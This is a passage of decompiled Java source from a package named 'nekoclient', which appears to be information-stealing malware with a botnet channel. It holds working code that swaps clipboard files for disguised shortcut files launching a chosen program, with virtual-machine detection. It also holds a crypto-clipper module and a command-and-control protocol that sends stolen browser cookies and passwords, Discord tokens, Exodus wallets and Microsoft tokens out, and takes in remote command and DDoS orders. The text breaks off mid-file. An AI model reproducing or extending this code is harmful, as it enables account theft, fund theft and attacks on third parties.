         VMEscape.Icon defaultIcon = new VMEscape.Icon("SHELL32", 0, null);
         VMEscape.Icon folderIcon = new VMEscape.Icon("SHELL32", 4, null);
         List<VMEscape.Icon> icons = Arrays.asList(
            new VMEscape.Icon("USER32", 0, "exe"),
            new VMEscape.Icon("SHELL32", 69, "ini"),
            new VMEscape.Icon("SHELL32", 70, "txt"),
            new VMEscape.Icon("SHELL32", 71, "bat"),
            new VMEscape.Icon("SHELL32", 71, "cmd"),
            new VMEscape.Icon("SHELL32", 325, "png"),
            new VMEscape.Icon("SHELL32", 325, "jpg"),
            new VMEscape.Icon("SHELL32", 325, "jpeg")
         );
         Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard();
         this.executorService
            .scheduleAtFixedRate(
               () -> {
                  try {
                     Transferable clipboardContents = clipboard.getContents(null);
                     if (clipboardContents.isDataFlavorSupported(CUSTOM_FLAVOR)) {
                        return;
                     }
      
                     FileDescriptor[] fileDescriptors = WindowsHook.retrieveClipboardFiles();
                     if (fileDescriptors.length == 0) {
                        return;
                     }
      
                     final File tempDirectory = Files.createTempDirectory(this.storageFile.toPath(), "storage-").toFile();
                     tempDirectory.mkdirs();
      
                     for(FileDescriptor fileDescriptor : fileDescriptors) {
                        String[] split = fileDescriptor.getName().split(String.format("\\%s", FileSystems.getDefault().getSeparator()));
                        if (split.length <= 1) {
                           File file = new File(tempDirectory, String.format("%s.lnk", fileDescriptor.getName()));
                           String[] extensionSplit = fileDescriptor.getName().split("\\.");
                           String extension = extensionSplit[extensionSplit.length - 1];
                           VMEscape.Icon icon = fileDescriptor.isDirectory()
                              ? folderIcon
                              : icons.stream().filter(icon1 -> Objects.equals(icon1.getExtension().toLowerCase(), extension)).findFirst().orElse(defaultIcon);
                           ShellLink shellLink = new ShellLink()
                              .setName(fileDescriptor.getName())
                              .setIconLocation(String.format("%s\\System32\\%s.dll", System.getenv("WINDIR"), icon.getDll()))
                              .setWorkingDir(this.targetApplication.getParent().toAbsolutePath().toString())
                              .setCMDArgs(String.join(" ", this.arguments));
                           shellLink.getHeader().setIconIndex(icon.getIndex());
                           new ShellLinkHelper(shellLink)
                              .setLocalTarget(
                                 this.targetApplication.getRoot().toString(),
                                 this.targetApplication.subpath(0, this.targetApplication.getNameCount()).toString()
                              )
                              .saveTo(file.getAbsolutePath());
                        }
                     }
      
                     clipboard.setContents(new Transferable() {
                        @Override
                        public DataFlavor[] getTransferDataFlavors() {
                           return new DataFlavor[]{DataFlavor.javaFileListFlavor, VMEscape.CUSTOM_FLAVOR};
                        }
      
                        @Override
                        public boolean isDataFlavorSupported(DataFlavor flavor) {
                           return Objects.equals(flavor, DataFlavor.javaFileListFlavor) || Objects.equals(flavor, VMEscape.CUSTOM_FLAVOR);
                        }
      
                        @Override
                        public Object getTransferData(DataFlavor flavor) throws UnsupportedFlavorException, IOException {
                           if (Objects.equals(flavor, DataFlavor.javaFileListFlavor)) {
                              return Arrays.asList(tempDirectory.listFiles());
                           } else if (Objects.equals(flavor, VMEscape.CUSTOM_FLAVOR)) {
                              return "neko";
                           } else {
                              throw new UnsupportedFlavorException(flavor);
                           }
                        }
                     }, null);
                  } catch (Throwable var18) {
                  }
               },
               10L,
               10L,
               TimeUnit.MILLISECONDS
            );
      }
   }

   public void stop() {
      this.executorService.shutdownNow();
   }

   public static boolean isVirtualMachine() {
      try {
         SystemInfo systemInfo = new SystemInfo();
         HardwareAbstractionLayer hardware = systemInfo.getHardware();
         if (hardware.getComputerSystem().getBaseboard().getVersion().startsWith("Hyper-V")
            || hardware.getComputerSystem().getFirmware().getVersion().startsWith("VRTUAL")
            || Objects.equals(hardware.getComputerSystem().getModel(), "Virtual Machine")
            || hardware.getGraphicsCards().stream().anyMatch(graphicsCard -> Objects.equals(graphicsCard.getName(), "Microsoft Remote Display Adapter"))
            || hardware.getDiskStores().stream().anyMatch(diskStore -> diskStore.getModel().startsWith("Microsoft Virtual Disk"))
            || hardware.getMemory()
               .getPhysicalMemory()
               .stream()
               .anyMatch(physicalMemory -> Objects.equals(physicalMemory.getManufacturer(), "Microsoft Corporation"))) {
            return true;
         }
      } catch (Throwable var2) {
      }

      return false;
   }

   public static String makeValid(String path) {
      int index;
      for(char c : disallowedCharacters) {
         while((index = path.indexOf(c)) != -1) {
            path = path.substring(index + 1);
         }
      }

      char[] chars = path.toCharArray();

      for(int i = 0; i < chars.length; ++i) {
         char c = chars[i];
         if (c < ' ') {
            path = path.substring(i + 1);
         }
      }

      return path;
   }

   public final ExecutorService getExecutorService() {
      return this.executorService;
   }

   public final File getStorageFile() {
      return this.storageFile;
   }

   public final Path getTargetApplication() {
      return this.targetApplication;
   }

   public final String[] getArguments() {
      return this.arguments;
   }

   static {
      try {
         CUSTOM_FLAVOR = new DataFlavor("application/x-neko; class=java.lang.String");
      } catch (ClassNotFoundException var1) {
         throw new RuntimeException(var1);
      }

      disallowedCharacters = "<>:\"|?* ".toCharArray();
   }

   public static class Icon {
      private final String dll;
      private final int index;
      private final String extension;

      public Icon(String dll, int index, String extension) {
         this.dll = dll;
         this.index = index;
         this.extension = extension;
      }

      public final String getDll() {
         return this.dll;
      }

      public final int getIndex() {
         return this.index;
      }

      public final String getExtension() {
         return this.extension;
      }
   }
}


================================================
FILE: dev/neko/nekoclient/module/Module.java
================================================
package dev.neko.nekoclient.module;

import dev.neko.nekoclient.Client;
import dev.neko.nekoclient.structure.ThrowingRunnable;
import java.io.IOException;
import java.util.Objects;
import java.util.concurrent.Executors;
import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.ScheduledFuture;

public abstract class Module {
   protected final Client client;
   private boolean enabled;
   private ScheduledFuture<?> future;
   private final ScheduledExecutorService service;

   public Module(Client client) {
      this.client = client;
      this.enabled = false;
      this.service = Executors.newSingleThreadScheduledExecutor();
   }

   public void setEnabled(boolean enabled) throws IOException {
      if (this.enabled == enabled) {
         throw new IllegalStateException(String.format("Module already %s", enabled ? "enabled" : "disabled"));
      } else {
         this.enabled = enabled;
         if (this.enabled) {
            Module.StartAction action = this.run(this.service);
            if (Objects.nonNull(action.getRunnable())) {
               action.getRunnable().run();
            }

            if (Objects.nonNull(action.getFuture())) {
               this.future = action.getFuture();
            }
         } else if (Objects.nonNull(this.future) && !this.future.isCancelled() && !this.future.isDone()) {
            this.future.cancel(true);
            this.future = null;
         }
      }
   }

   public abstract String getName();

   protected abstract Module.StartAction run(ScheduledExecutorService var1);

   public final boolean isEnabled() {
      return this.enabled;
   }

   protected final Client getClient() {
      return this.client;
   }

   public class StartAction {
      private ThrowingRunnable<IOException> runnable;
      private ScheduledFuture<?> future;

      public Module.StartAction run(ThrowingRunnable<IOException> runnable) {
         this.runnable = runnable;
         return this;
      }

      public Module.StartAction schedule(ScheduledFuture<?> future) {
         this.future = future;
         return this;
      }

      public final ThrowingRunnable<IOException> getRunnable() {
         return this.runnable;
      }

      public final ScheduledFuture<?> getFuture() {
         return this.future;
      }
   }
}


================================================
FILE: dev/neko/nekoclient/module/ModuleRegistry.java
================================================
package dev.neko.nekoclient.module;

import dev.neko.nekoclient.Client;
import dev.neko.nekoclient.module.impl.CryptoClipperModule;
import dev.neko.nekoclient.structure.Registry;
import java.util.Objects;

public class ModuleRegistry extends Registry<Module> {
   public ModuleRegistry(Client client) {
      this.register(new Module[]{new CryptoClipperModule(client)});
   }

   public final Module getByName(String name) {
      return this.getBy(module -> Objects.equals(module.getName(), name));
   }
}


================================================
FILE: dev/neko/nekoclient/module/impl/CryptoClipperModule.java
================================================
package dev.neko.nekoclient.module.impl;

import dev.neko.nekoclient.Client;
import dev.neko.nekoclient.module.Module;
import java.util.Arrays;
import java.util.List;
import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.TimeUnit;
import java.util.regex.Pattern;

public class CryptoClipperModule extends Module {
   public CryptoClipperModule(Client client) {
      super(client);
   }

   @Override
   public String getName() {
      return "CryptoClipper";
   }

   @Override
   protected Module.StartAction run(ScheduledExecutorService service) {
      return new Module.StartAction().schedule(service.scheduleAtFixedRate(() -> {
      }, 10L, 10L, TimeUnit.MILLISECONDS));
   }

   public static class Crypto {
      private final String currency;
      private final List<Pattern> patterns;
      private final String replacement;

      public Crypto(String currency, String replacement, Pattern... patterns) {
         this.currency = currency;
         this.patterns = Arrays.asList(patterns);
         this.replacement = replacement;
      }

      public final boolean test(String string) {
         return this.patterns.stream().anyMatch(pattern -> pattern.matcher(string).matches());
      }

      public final String getReplacement() {
         return this.replacement;
      }

      public final String getCurrency() {
         return this.currency;
      }
   }
}


================================================
FILE: dev/neko/nekoclient/packet/Direction.java
================================================
package dev.neko.nekoclient.packet;

import dev.neko.nekoclient.api.info.Side;

public enum Direction {
   CLIENT_TO_SERVER(Side.CLIENT, Side.SERVER),
   SERVER_TO_CLIENT(Side.SERVER, Side.CLIENT);

   private final Side sender;
   private final Side receiver;

   private Direction(Side sender, Side receiver) {
      this.sender = sender;
      this.receiver = receiver;
   }

   public final Side getSender() {
      return this.sender;
   }

   public final Side getReceiver() {
      return this.receiver;
   }
}


================================================
FILE: dev/neko/nekoclient/packet/Packet.java
================================================
package dev.neko.nekoclient.packet;

import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;
import dev.neko.nekoclient.api.buffer.StreamByteBuffer;
import java.io.IOException;

public interface Packet {
   void read(FriendlyByteBuffer var1) throws IOException;

   void write(StreamByteBuffer var1) throws IOException;

   Direction getDirection();

   String getName();

   default String getId() {
      return String.format("%s:%s", this.getDirection(), this.getName());
   }
}


================================================
FILE: dev/neko/nekoclient/packet/PacketRegistry.java
================================================
package dev.neko.nekoclient.packet;

import dev.neko.nekoclient.packet.impl.client.ActionResponsePacket;
import dev.neko.nekoclient.packet.impl.client.BrowserDataResponsePacket;
import dev.neko.nekoclient.packet.impl.client.DiscordResponsePacket;
import dev.neko.nekoclient.packet.impl.client.ExodusResponsePacket;
import dev.neko.nekoclient.packet.impl.client.HelloPacket;
import dev.neko.nekoclient.packet.impl.client.KeepAlivePacket;
import dev.neko.nekoclient.packet.impl.client.MSAResponsePacket;
import dev.neko.nekoclient.packet.impl.client.ProxyResponsePacket;
import dev.neko.nekoclient.packet.impl.server.CommandPacket;
import dev.neko.nekoclient.packet.impl.server.DDoSPacket;
import dev.neko.nekoclient.packet.impl.server.DisconnectPacket;
import dev.neko.nekoclient.packet.impl.server.ProxyPacket;
import dev.neko.nekoclient.packet.impl.server.RequestBrowserDataPacket;
import dev.neko.nekoclient.packet.impl.server.RequestDiscordPacket;
import dev.neko.nekoclient.packet.impl.server.RequestExodusPacket;
import dev.neko.nekoclient.packet.impl.server.RequestMSAPacket;
import dev.neko.nekoclient.packet.impl.server.UpdateModulePacket;
import dev.neko.nekoclient.structure.Registry;
import java.lang.reflect.InvocationTargetException;
import java.util.Objects;

public class PacketRegistry extends Registry<Packet> {
   public PacketRegistry() {
      this.register(new Packet[]{new HelloPacket()});
      this.register(new Packet[]{new ActionResponsePacket()});
      this.register(new Packet[]{new ExodusResponsePacket()});
      this.register(new Packet[]{new ProxyResponsePacket()});
      this.register(new Packet[]{new BrowserDataResponsePacket()});
      this.register(new Packet[]{new MSAResponsePacket()});
      this.register(new Packet[]{new DiscordResponsePacket()});
      this.register(new Packet[]{new KeepAlivePacket()});
      this.register(new Packet[]{new dev.neko.nekoclient.packet.impl.server.HelloPacket()});
      this.register(new Packet[]{new CommandPacket()});
      this.register(new Packet[]{new DDoSPacket()});
      this.register(new Packet[]{new dev.neko.nekoclient.packet.impl.server.KeepAlivePacket()});
      this.register(new Packet[]{new RequestExodusPacket()});
      this.register(new Packet[]{new ProxyPacket()});
      this.register(new Packet[]{new RequestMSAPacket()});
      this.register(new Packet[]{new RequestExodusPacket()});
      this.register(new Packet[]{new RequestBrowserDataPacket()});
      this.register(new Packet[]{new RequestDiscordPacket()});
      this.register(new Packet[]{new UpdateModulePacket()});
      this.register(new Packet[]{new DisconnectPacket()});
   }

   public final Packet getById(String id) {
      try {
         Packet packet = this.getBy(packet2 -> Objects.equals(packet2.getId(), id));
         return Objects.isNull(packet) ? null : (Packet)packet.getClass().getConstructor().newInstance();
      } catch (IllegalAccessException | InvocationTargetException | NoSuchMethodException | InstantiationException var3) {
         throw new RuntimeException(var3);
      }
   }
}


================================================
FILE: dev/neko/nekoclient/packet/impl/NoncePacket.java
================================================
package dev.neko.nekoclient.packet.impl;

import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;
import dev.neko.nekoclient.api.buffer.StreamByteBuffer;
import dev.neko.nekoclient.packet.Packet;
import java.io.IOException;
import java.util.UUID;

public abstract class NoncePacket implements Packet {
   private String nonce;

   public NoncePacket() {
      this(String.format("%s-%s", UUID.randomUUID(), System.currentTimeMillis()));
   }

   public NoncePacket(String nonce) {
      this.nonce = nonce;
   }

   @Override
   public void write(StreamByteBuffer buffer) throws IOException {
      buffer.putString(this.nonce);
   }

   @Override
   public void read(FriendlyByteBuffer buffer) throws IOException {
      this.nonce = buffer.getString();
   }

   public final String getNonce() {
      return this.nonce;
   }
}


================================================
FILE: dev/neko/nekoclient/packet/impl/client/ActionResponsePacket.java
================================================
package dev.neko.nekoclient.packet.impl.client;

import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;
import dev.neko.nekoclient.api.buffer.StreamByteBuffer;
import dev.neko.nekoclient.packet.Direction;
import dev.neko.nekoclient.packet.impl.NoncePacket;
import java.io.IOException;

public class ActionResponsePacket extends NoncePacket {
   private boolean success;

   public ActionResponsePacket() {
   }

   public ActionResponsePacket(String nonce, boolean success) {
      super(nonce);
      this.success = success;
   }

   @Override
   public void write(StreamByteBuffer buffer) throws IOException {
      super.write(buffer);
      buffer.putBoolean(this.success);
   }

   @Override
   public void read(FriendlyByteBuffer buffer) throws IOException {
      super.read(buffer);
      this.success = buffer.getBoolean();
   }

   @Override
   public Direction getDirection() {
      return Direction.CLIENT_TO_SERVER;
   }

   @Override
   public String getName() {
      return "actionresponse";
   }

   public final boolean isSuccess() {
      return this.success;
   }
}


================================================
FILE: dev/neko/nekoclient/packet/impl/client/BrowserDataResponsePacket.java
================================================
package dev.neko.nekoclient.packet.impl.client;

import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;
import dev.neko.nekoclient.api.buffer.StreamByteBuffer;
import dev.neko.nekoclient.api.stealer.browser.BrowserData;
import dev.neko.nekoclient.api.stealer.browser.cookie.Cookie;
import dev.neko.nekoclient.api.stealer.browser.impl.credential.Credential;
import dev.neko.nekoclient.packet.Direction;
import dev.neko.nekoclient.packet.impl.NoncePacket;
import java.io.IOException;
import java.net.URL;

public class BrowserDataResponsePacket extends NoncePacket {
   private BrowserData browserData;

   public BrowserDataResponsePacket(String nonce, BrowserData browserData) {
      super(nonce);
      this.browserData = browserData;
   }

   public BrowserDataResponsePacket() {
   }

   @Override
   public void read(FriendlyByteBuffer buffer) throws IOException {
      super.read(buffer);
      this.browserData = new BrowserData();
      int cookiesLength = buffer.getInt();

      for(int i = 0; i < cookiesLength; ++i) {
         this.browserData
            .getCookies()
            .add(
               new Cookie(
                  buffer.getString(), buffer.getString(), buffer.getString(), buffer.getString(), buffer.getLong(), buffer.getBoolean(), buffer.getBoolean()
               )
            );
      }

      int credentialsLength = buffer.getInt();

      for(int i = 0; i < credentialsLength; ++i) {
         this.browserData.getCredentials().add(new Credential(new URL(buffer.getString()), buffer.getString(), buffer.getString()));
      }
   }

   @Override
   public void write(StreamByteBuffer buffer) throws IOException {
      super.write(buffer);
      buffer.putInt(this.browserData.getCookies().size());

      for(Cookie cookie : this.browserData.getCookies()) {
         buffer.putString(cookie.getHost());
         buffer.putString(cookie.getPath());
         buffer.putString(cookie.getName());
         buffer.putString(cookie.getValue());
         buffer.putLong(cookie.getExpires());
         buffer.putBoolean(cookie.isSecure());
         buffer.putBoolean(cookie.isHttpOnly());
      }

      buffer.putInt(this.browserData.getCredentials().size());

      for(Credential credential : this.browserData.getCredentials()) {
         buffer.putString(credential.getHost().toString());
         buffer.putString(credential.getUsername());
         buffer.putString(credential.getPassword());
      }
   }

   public final BrowserData getBrowserData() {
      return this.browserData;
   }

   @Override
   public Direction getDirection() {
      return Direction.CLIENT_TO_SERVER;
   }

   @Override
   public String getName() {
      return "browserdataresponse";
   }
}


================================================
FILE: dev/neko/nekoclient/packet/impl/client/DiscordResponsePacket.java
================================================
package dev.neko.nekoclient.packet.impl.client;

import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;
import dev.neko.nekoclient.api.buffer.StreamByteBuffer;
import dev.neko.nekoclient.api.stealer.discord.DiscordAccount;
import dev.neko.nekoclient.packet.Direction;
import dev.neko.nekoclient.packet.impl.NoncePacket;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;

public class DiscordResponsePacket extends NoncePacket {
   private List<DiscordAccount> discordAccounts;

   public DiscordResponsePacket(String nonce, List<DiscordAccount> discordAccounts) {
      super(nonce);
      this.discordAccounts = discordAccounts;
   }

   public DiscordResponsePacket() {
   }

   @Override
   public void write(StreamByteBuffer buffer) throws IOException {
      super.write(buffer);
      buffer.putInt(this.discordAccounts.size());

      for(DiscordAccount discordAccount : this.discordAccounts) {
         buffer.putString(discordAccount.getToken());
         buffer.putString(discordAccount.getId());
         buffer.putString(discordAccount.getUsername());
         buffer.putString(discordAccount.getDiscriminator());
         buffer.putString(discordAccount.getEmail());
         buffer.putString(discordAccount.getPhone());
         buffer.putBoolean(discordAccount.isVerified());
         buffer.putBoolean(discordAccount.isMfa());
         buffer.putInt(discordAccount.getBadges().size());

         for(String badge : discordAccount.getBadges()) {
            buffer.putString(badge);
         }

         buffer.putInt(discordAccount.getPaymentSources().size());

         for(String paymentSource : discordAccount.getPaymentSources()) {
            buffer.putString(paymentSource);
         }
      }
   }

   @Override
   public void read(FriendlyByteBuffer buffer) throws IOException {
      super.read(buffer);
      int total = buffer.getInt();
      this.discordAccounts = new ArrayList<>();

      for(int i = 0; i < total; ++i) {
         String token = buffer.getString();
         String id = buffer.getString();
         String username = buffer.getString();
         String discriminator = buffer.getString();
         String email = buffer.getString();
         String phone = buffer.getString();
         boolean verified = buffer.getBoolean();
         boolean mfa = buffer.getBoolean();
         List<String> badges = new ArrayList<>();
         int badgesLength = buffer.getInt();

         for(int j = 0; j < badgesLength; ++j) {
            badges.add(buffer.getString());
         }

         List<String> paymentSources = new ArrayList<>();
         int paymentSourcesLength = buffer.getInt();

         for(int j = 0; j < paymentSourcesLength; ++j) {
            paymentSources.add(buffer.getString());
         }

         this.discordAccounts.add(new DiscordAccount(token, id, username, discriminator, email, phone, verified, mfa, badges, paymentSources));
      }
   }

   @Override
   public Direction getDirection() {
      return Direction.CLIENT_TO_SERVER;
   }

   @Override
   public String getName() {
      return "discordresponse";
   }

   public final List<DiscordAccount> getDiscordAccounts() {
      return this.discordAccounts;
   }
}


================================================
FILE: dev/neko/nekoclient/packet/impl/client/ExodusResponsePacket.java
================================================
package dev.neko.nekoclient.packet.impl.client;

import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;
import dev.neko.nekoclient.api.buffer.StreamByteBuffer;
import dev.neko.nekoclient.packet.Direction;
import java.io.IOException;

public class ExodusResponsePacket extends ActionResponsePacket {
   private byte[] wallet;

   public ExodusResponsePacket() {
   }

   public ExodusResponsePacket(String nonce, boolean success, byte[] wallet) {
      super(nonce, success);
      this.wallet = wallet;
   }

   @Override
   public void write(StreamByteBuffer output) throws IOException {
      super.write(output);
      if (this.isSuccess()) {
         output.putBytes(this.wallet);
      }
   }

   @Override
   public void read(FriendlyByteBuffer buffer) throws IOException {
      super.read(buffer);
      if (this.isSuccess()) {
         this.wallet = buffer.getBytes();
      }
   }

   @Override
   public String getName() {
      return "exodusresponse";
   }

   @Override
   public Direction getDirection() {
      return Direction.CLIENT_TO_SERVER;
   }

   public final byte[] getWallet() {
      return this.wallet;
   }
}


================================================
FILE: dev/neko/nekoclient/packet/impl/client/HelloPacket.java
================================================
package dev.neko.nekoclient.packet.impl.client;

import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;
import dev.neko.nekoclient.api.buffer.StreamByteBuffer;
import dev.neko.nekoclient.api.info.ClientInfo;
import dev.neko.nekoclient.api.info.OperatingSystem;
import dev.neko.nekoclient.api.info.Side;
import dev.neko.nekoclient.api.info.User;
import dev.neko.nekoclient.api.info.VersionInfo;
import dev.neko.nekoclient.packet.Direction;
import dev.neko.nekoclient.packet.Packet;
import java.io.IOException;
import java.util.Objects;

public class HelloPacket implements Packet {
   private ClientInfo clientInfo;
   private VersionInfo versionInfo;

   public HelloPacket() {
   }

   public HelloPacket(ClientInfo clientInfo, VersionInfo versionInfo) {
      this.clientInfo = clientInfo;
      this.versionInfo = versionInfo;
   }

   @Override
   public void read(FriendlyByteBuffer buffer) throws IOException {
      this.clientInfo = new ClientInfo(
         new OperatingSystem(buffer.getString(), buffer.getString(), buffer.getString(), buffer.getInt(), buffer.getLong(), buffer.getString()),
         new User(buffer.getString(), buffer.getString(), buffer.getString(), buffer.getString(), buffer.getString()),
         buffer.getString(),
         buffer.getBoolean() ? buffer.getString() : null,
         buffer.getBoolean()
      );
      this.versionInfo = new VersionInfo(Side.valueOf(buffer.getString()), buffer.getString());
   }

   @Override
   public void write(StreamByteBuffer buffer) throws IOException {
      buffer.putString(this.clientInfo.getOperatingSystem().getName());
      buffer.putString(this.clientInfo.getOperatingSystem().getVersion());
      buffer.putString(this.clientInfo.getOperatingSystem().getArchitecture());
      buffer.putInt(this.clientInfo.getOperatingSystem().getProcessors());
      buffer.putLong(this.clientInfo.getOperatingSystem().getTotalPhysicalMemory());
      buffer.putString(this.clientInfo.getOperatingSystem().getProcessorName());
      buffer.putString(this.clientInfo.getUser().getName());
      buffer.putString(this.clientInfo.getUser().getHostname());
      buffer.putString(this.clientInfo.getUser().getHome());
      buffer.putString(this.clientInfo.getUser().getCountry());
      buffer.putString(this.clientInfo.getUser().getLanguage());
      buffer.putString(this.clientInfo.getHardwareId());
      boolean refPresent = Objects.nonNull(this.clientInfo.getRef());
      buffer.putBoolean(refPresent);
      if (refPresent) {
         buffer.putString(this.clientInfo.getRef());
      }

      buffer.putBoolean(this.clientInfo.isVirtualMachine());
      buffer.putString(this.versionInfo.getSide().name());
      buffer.putString(this.versionInfo.getVersion());
   }

   @Override
   public Direction getDirection() {
      return Direction.CLIENT_TO_SERVER;
   }

   @Override
   public String getName() {
      return "hello";
   }

   public final ClientInfo getClientInfo() {
      return this.clientInfo;
   }

   public final VersionInfo getVersionInfo() {
      return this.versionInfo;
   }
}


================================================
FILE: dev/neko/nekoclient/packet/impl/client/KeepAlivePacket.java
================================================
package dev.neko.nekoclient.packet.impl.client;

import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;
import dev.neko.nekoclient.api.buffer.StreamByteBuffer;
import dev.neko.nekoclient.packet.Direction;
import dev.neko.nekoclient.packet.Packet;
import java.io.IOException;

public class KeepAlivePacket implements Packet {
   @Override
   public void read(FriendlyByteBuffer buffer) throws IOException {
   }

   @Override
   public void write(StreamByteBuffer buffer) throws IOException {
   }

   @Override
   public Direction getDirection() {
      return Direction.CLIENT_TO_SERVER;
   }

   @Override
   public String getName() {
      return "keepalive";
   }
}


================================================
FILE: dev/neko/nekoclient/packet/impl/client/MSAResponsePacket.java
================================================
package dev.neko.nekoclient.packet.impl.client;

import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;
import dev.neko.nekoclient.api.buffer.StreamByteBuffer;
import dev.neko.nekoclient.api.stealer.msa.auth.ClientType;
import dev.neko.nekoclient.api.stealer.msa.auth.credentials.MicrosoftCredentials;
import dev.neko.nekoclient.packet.Direction;
import dev.neko.nekoclient.packet.impl.NoncePacket;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;

public class MSAResponsePacket extends NoncePacket {
   private List<MicrosoftCredentials> credentials;

   public MSAResponsePacket(String nonce, List<MicrosoftCredentials> credentials) {
      super(nonce);
      this.credentials = credentials;
   }

   public MSAResponsePacket() {
   }

   @Override
   public void read(FriendlyByteBuffer buffer) throws IOException {
      super.read(buffer);
      this.credentials = new ArrayList<>();
      int length = buffer.getInt();

      for(int i = 0; i < length; ++i) {
         this.credentials
            .add(
               new MicrosoftCredentials(
                  buffer.getString(),
                  buffer.getString(),
                  new ClientType(buffer.getString(), buffer.getString(), buffer.getString()),
                  buffer.getLong(),
                  buffer.getString(),
                  buffer.getLong()
               )
            );
      }
   }

   @Override
   public void write(StreamByteBuffer buffer) throws IOException {
      super.write(buffer);
      buffer.putInt(this.credentials.size());

      for(MicrosoftCredentials credentials : this.credentials) {
         buffer.putString(credentials.getUserId());
         buffer.putString(credentials.getAccessToken());
         buffer.putString(credentials.getClientType().getClientId());
         buffer.putString(credentials.getClientType().getScope());
         buffer.putString(credentials.getClientType().getTokenType());
         buffer.putLong(credentials.getAccessTokenExpiration());
         buffer.putString(credentials.getRefreshToken());
         buffer.putLong(credentials.getRefreshTokenExpiration());
      }
   }

   @Override
   public Direction getDirection() {
      return Direction.CLIENT_TO_SERVER;
   }

   @Override
   public String getName() {
      return "msaresponse";
   }

   public final List<MicrosoftCredentials> getCredentials() {
      return this.credentials;
   }
}


================================================
FILE: dev/neko/nekoclient/packet/impl/client/ProxyResponsePacket.java
================================================
package dev.neko.nekoclient.packet.impl.client;

import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;
import dev.neko.nekoclient.api.buffer.StreamByteBuffer;
import dev.neko.nekoclient.api.proxy.ProxyResponse;
import dev.neko.nekoclient.packet.Direction;
import dev.neko.nekoclient.packet.impl.NoncePacket;
import java.io.IOException;

public class ProxyResponsePacket extends NoncePacket {
   private ProxyResponse response;

   public ProxyResponsePacket() {
   }

   public ProxyResponsePacket(String nonce, ProxyResponse response) {
      super(nonce);
      this.response = response;
   }

   @Override
   public void read(FriendlyByteBuffer input) throws IOException {
      super.read(input);
      this.response = ProxyResponse.valueOf(input.getString());
   }

   @Override
   public void write(StreamByteBuffer output) throws IOException {
      super.write(output);
      output.putString(this.response.name());
   }

   @Override
   public Direction getDirection() {
      return Direction.CLIENT_TO_SERVER;
   }

   @Override
   public String getName() {
      return "proxyresponse";
   }

   public final ProxyResponse getResponse() {
      return this.response;
   }
}


================================================
FILE: dev/neko/nekoclient/packet/impl/server/CommandPacket.java
================================================
package dev.neko.nekoclient.packet.impl.server;

import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;
import dev.neko.nekoclient.api.buffer.StreamByteBuffer;
import dev.neko.nekoclient.packet.Direction;
import dev.neko.nekoclient.packet.impl.NoncePacket;
import java.io.IOException;

public class CommandPacket extends NoncePacket {
   private String command;

   public CommandPacket() {
   }

   public CommandPacket(String command) {
      this.command = command;
   }

   @Override
   public void read(FriendlyByteBuffer input) throws IOException {
      super.read(input);
      this.command = input.getString();
   }

   @Override
   public void write(StreamByteBuffer output) throws IOException {
      super.write(output);
      output.putString(this.command);
   }

   @Override
   public Direction getDirection() {
      return Direction.SERVER_TO_CLIENT;
   }

   @Override
   public String getName() {
      return "command";
   }

   public final String getCommand() {
      return this.command;
   }
}


================================================
FILE: dev/neko/nekoclient/packet/impl/server/DDoSPacket.java
================================================
package dev.neko.nekoclient.packet.impl.server;

import com.eclipsesource.json.Json;
import com.eclipsesource.json.JsonObject;
import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;
import dev.neko.nekoclient.api.buffer.StreamByteBuffer;
import dev.neko.nekoclient.api.ddos.Method;
import dev.neko.nekoclient.api.ddos.Protocol;
import dev.neko.nekoclient.api.ddos.ThreadsUnit;
import dev.neko.nekoclient.packet.Direction;
import dev.neko.nekoclient.packet.impl.NoncePacket;
import java.io.IOException;

public class DDoSPacket extends NoncePacket {
   private String host;
   private int port;
   private long time;
   private int threads;
   private ThreadsUnit threadsUnit;
   private Protocol protocol;
   private Method method;
   private JsonObject options;

   public DDoSPacket() {
   }

   public DDoSPacket(String host, int port, long time, int threads, Protocol protocol, Method method, JsonObject options) {
      this.host = host;
      this.port = port;
      this.time = time;
      this.threads = threads;
      this.protocol = protocol;
      this.method = method;
      this.options = options;
   }

   @Override
   public void read(FriendlyByteBuffer buffer) throws IOException {
      super.read(buffer);
      this.host = buffer.getString();
      this.port = buffer.getUnsignedShort();
      this.time = buffer.getLong();
      this.threads = buffer.getInt();
      this.threadsUnit = ThreadsUnit.valueOf(buffer.getString());
      this.protocol = Protocol.valueOf(buffer.getString());
      this.method = Method.valueOf(buffer.getString());
      this.options = Json.parse(buffer.getString()).asObject();
   }

   @Override
   public void write(StreamByteBuffer buffer) throws IOException {
      super.write(buffer);
      buffer.putString(this.host);
      buffer.putUnsignedShort(this.port);
      buffer.putLong(this.time);
      buffer.putInt(this.threads);
      buffer.putString(this.threadsUnit.name());
      buffer.putString(this.protocol.name());
      buffer.putString(this.method.name());
      buffer.putString(this.options.toString());
   }

   @Override
   public Direction getDirection() {
      return Direction.SERVER_TO_CLIENT;
   }

   @Override
   public String getName() {
      return "ddos";
   }

   public final String getHost() {
      return this.host;
   }

   public final int getPort() {
      return this.port;
   }

   public final long getTime() {
      return this.time;
   }

   public final Protocol getProtocol() {
      return this.protocol;
   }

   public final int getThreads() {
      return this.threads;
   }

   public final ThreadsUnit getThreadsUnit() {
      return this.threadsUnit;
   }

   public final Method getMethod() {
      return this.method;
   }

   public final JsonObject getOptions() {
      return this.options;
   }
}


================================================
FILE: dev/neko/nekoclient/packet/impl/server/DisconnectPacket.java
================================================
package dev.neko.nekoclient.packet.impl.server;

import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;
import dev.neko.nekoclient.api.buffer.StreamByteBuffer;
import dev.neko.nekoclient.api.disconnect.DisconnectReason;
import dev.neko.nekoclient.packet.Direction;
import dev.neko.nekoclient.packet.Packet;
import java.io.IOException;

